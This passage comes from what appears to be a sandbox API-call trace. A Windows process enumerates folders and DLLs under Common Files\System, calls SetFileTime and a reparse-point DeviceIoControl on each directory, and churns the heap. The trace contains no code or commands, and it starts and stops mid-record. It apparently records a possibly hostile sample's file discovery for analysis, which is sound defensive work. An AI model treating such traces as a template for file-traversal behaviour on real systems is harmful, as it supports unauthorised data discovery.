Size=0x80) returned 0xf9dc78 [0065.604] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.604] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d220 [0065.605] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0065.605] GetLastError () returned 0x12 [0065.605] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0065.605] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.605] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0065.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.605] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.605] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033" (normalized: "c:\\program files\\common files\\system\\msmapi\\1033"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x194 [0065.605] SetFileTime (hFile=0x194, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0065.605] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb8d10 [0065.605] DeviceIoControl (in: hDevice=0x194, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb8d10, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfb8d10, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0065.605] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8d10) returned 1 [0065.605] NtClose (Handle=0x194) returned 0x0 [0065.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.606] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.606] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7498 [0065.606] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7520 [0065.606] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d220 [0065.606] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0065.606] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7410 [0065.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7410) returned 1 [0065.606] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7410 [0065.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7410) returned 1 [0065.606] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7410 [0065.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7410) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0065.606] GetLastError () returned 0x12 [0065.606] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d260 [0065.606] FindClose (in: hFindFile=0x60d220 | out: hFindFile=0x60d220) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 1 [0065.606] FindNextFileW (in: hFindFile=0x60d260, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x324d2e00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x324d2e00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0xe580, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSMAPI32.DLL", cAlternateFileName="")) returned 0 [0065.606] GetLastError () returned 0x12 [0065.606] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7520) returned 1 [0065.607] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0065.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb7498) returned 1 [0065.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.607] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0065.607] GetLastError () returned 0x12 [0065.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dd00) returned 1 [0065.607] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0065.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0065.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.607] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ole DB", cAlternateFileName="")) returned 1 [0065.607] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.607] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), fInfoLevelId=0x0, lpFileInformation=0x174f108 | out: lpFileInformation=0x174f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0065.607] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB" (normalized: "c:\\program files\\common files\\system\\ole db"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0065.607] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174f14c, lpLastWriteTime=0x174f14c) returned 0 [0065.607] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfb8d10 [0065.607] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfb8d10, nOutBufferSize=0x4000, lpBytesReturned=0x174f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0xfb8d10, lpBytesReturned=0x174f1a4, lpOverlapped=0x0) returned 0 [0065.607] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8d10) returned 1 [0065.607] NtClose (Handle=0x148) returned 0x0 [0065.608] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9c490) returned 1 [0065.608] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9c490 [0065.608] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0065.608] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dd00 [0065.608] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\System\\Ole DB\\*", fInfoLevelId=0x1, lpFindFileData=0x174ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ef54) returned 0x60d120 [0065.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0065.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0065.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9ad34e79, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9ad34e79, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9ad5afda, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0065.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.610] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14cd0c35, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14cd0c35, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x349a6d70, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x6a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaps.dll", cAlternateFileName="")) returned 1 [0065.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.610] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.610] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.724] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.891] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86c0138a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x86c0138a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86c0138a, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb6000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasql.dll", cAlternateFileName="")) returned 1 [0065.891] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.909] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.909] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.910] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.910] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.911] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.911] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0065.911] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.911] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.911] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.917] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.917] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.919] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0065.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.919] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.919] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.920] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.921] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.921] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0065.921] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.922] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.922] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.924] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.924] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.925] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.925] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0065.931] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.932] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0065.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.932] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.932] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0x0, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfb42e0 [0065.933] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb7498 [0065.933] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0065.933] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, 